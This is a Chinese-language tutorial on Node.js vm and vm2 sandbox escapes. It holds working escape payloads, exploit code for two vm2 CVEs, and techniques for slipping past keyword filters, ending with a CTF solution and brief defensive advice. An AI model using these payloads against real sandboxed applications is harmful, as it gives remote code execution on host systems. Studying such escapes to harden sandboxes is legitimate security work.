VM及VM2沙箱逃逸及对特殊情况的处理办法
字数 1483 2025-08-03 16:48:21
Node.js 沙箱逃逸技术深度解析
1. 沙箱基础概念
沙箱(Sandbox)是一个用于隔离沙箱内环境和宿主环境的代码执行环境,主要用于执行不受信任的代码或运行程序。当沙箱安全性不足时,会产生逃逸情况,影响宿主环境,甚至实现远程代码执行(RCE)。
在Node.js中,主要有两种创建沙箱的方式:
vm模块:基础沙箱实现,安全性较低vm2模块:增强型沙箱,安全性更高但仍存在逃逸可能
2. Node.js上下文基础
在Node.js中:
- 全局变量是
global,包含所有全局变量和内置对象(console,process,require等) - 不同模块(
a.js和b.js)天然隔离,只能通过require引入特定模块 process对象可以创建子进程执行系统命令,是沙箱逃逸的主要目标
3. vm模块沙箱实现与逃逸
3.1 vm模块API
vm.Script(code[, options]):创建预编译Script对象script.runInContext([contextifiedSandbox[, options]]):在指定上下文执行script.runInNewContext([sandbox[, options]]):创建新上下文并执行vm.createContext([sandbox[, options]]):创建独立上下文vm.runInContext(code, contextifiedSandbox[, options]):在已有上下文中运行vm.runInNewContext(code[, sandbox[, options]]):创建新上下文并运行vm.runInThisContext(code[, options]):在当前上下文运行
3.2 基本逃逸方法
this.constructor.constructor('return process')().mainModule.require('child_process').execSync('whoami').toString()
原理:
- 通过
this获取沙箱外对象 - 获取其构造函数(
Object) - 获取构造函数的构造函数(
Function) - 利用
Function执行任意代码
3.3 特殊沙箱对象逃逸
当沙箱对象使用Object.create(null)创建时(无原型链),需使用arguments属性:
const a = {}
a.toString = function() {
const cc = arguments.callee.caller;
const p = (cc.constructor.constructor('return process'))();
return p.mainModule.require('child_process').execSync('whoami').toString()
}
return a
触发方式:console.log('Hello ' + res)会调用toString()
3.4 Proxy代理逃逸
当无法触发toString时,可使用Proxy:
const a = new Proxy({}, {
get: function(){
const cc = arguments.callee.caller;
const p = (cc.constructor.constructor('return process'))();
return p.mainModule.require('child_process').execSync('whoami').toString();
}
})
return a
或通过try-catch:
throw new Proxy({}, {
get: function(){
const cc = arguments.callee.caller;
const p = (cc.constructor.constructor('return process'))();
return p.mainModule.require('child_process').execSync('whoami').toString();
}
})
4. vm2模块逃逸
4.1 CVE-2019-10761 (vm2 ≤3.6.10)
const f = Buffer.prototype.write;
const ft = { length: 10, utf8Write(){} }
function r(i){
var x = 0;
try{ x = r(i); }catch(e){}
if(typeof(x)!=='number') return x;
if(x!==i) return x+1;
try{ f.call(ft); }catch(e){ return e; }
return null;
}
var i=1;
while(1){
try{
i=r(i).constructor.constructor("return process")();
break;
}catch(x){ i++; }
}
i.mainModule.require("child_process").execSync("whoami").toString()
4.2 CVE-2021-23449
let res = import('./foo.js')
res.toString.constructor("return this")().process.mainModule.require("child_process").execSync("whoami").toString();
或:
Symbol = {
get toStringTag(){
throw f => f.constructor("return process")()
}
};
try {
Buffer.from(new Map());
} catch(f){
Symbol = {};
f((mainModule.require("child_process").execSync("whoami").toString();
}
5. 过滤绕过技术
5.1 大小写绕过
如果正则未忽略大小写:
toLowerCase()/toUpperCase()转换- 直接使用大小写变体
5.2 点号(.)过滤
使用[]替代属性访问:
require('child_process')['execSync']
5.3 关键字绕过
字符串拼接:
require('child_process')["ex" + "ec"]
require('child_process')["ex".concat("ec")]
模板字符串:
require('child_process')[`${`${`exe`}c`}`]
编码绕过:
- 十六进制:
require('child_process')["\x65\x78\x65\x63"]
- Unicode:
require('child_process')["\u0065\u0078\u0065\u0063"]
- Base64:
require("child_process")[Buffer.from("ZXhlYw==","base64").toString()]
String.fromCharCode:
require('child_process')[String.fromCharCode(101,120,101,99)]
6. 实战案例:[NKCTF2024]全世界最简单的CTF
源码分析:
function waf(code) {
let pattern = /(process|exec|spawn|Buffer|\\|\+|concat|eval|Function)/g;
if(code.match(pattern)) {
throw new Error("what can I say? hacker out!!");
}
}
绕过方案:
使用String.fromCharCode和模板字符串:
throw new Proxy({}, {
get: function(){
const cc = arguments.callee.caller;
const p = (cc.constructor.constructor(String.fromCharCode(114,101,116,117,114,110,32,112,114,111,99,101,115,115))());
return p.mainModule.require(String.fromCharCode(99,104,105,108,100,95,112,114,111,99,101,115,115))[`${`${`ex`}ecSync`}`](`${`${`who`}ami`}`).toString();
}
})
7. 防御建议
- 避免使用
vm模块执行不受信任代码 - 及时更新
vm2到最新版本 - 实施多层过滤机制
- 限制沙箱环境资源访问
- 使用专用沙箱解决方案而非自行实现
通过深入理解这些逃逸技术和防御方法,可以更好地保护Node.js应用免受沙箱逃逸攻击。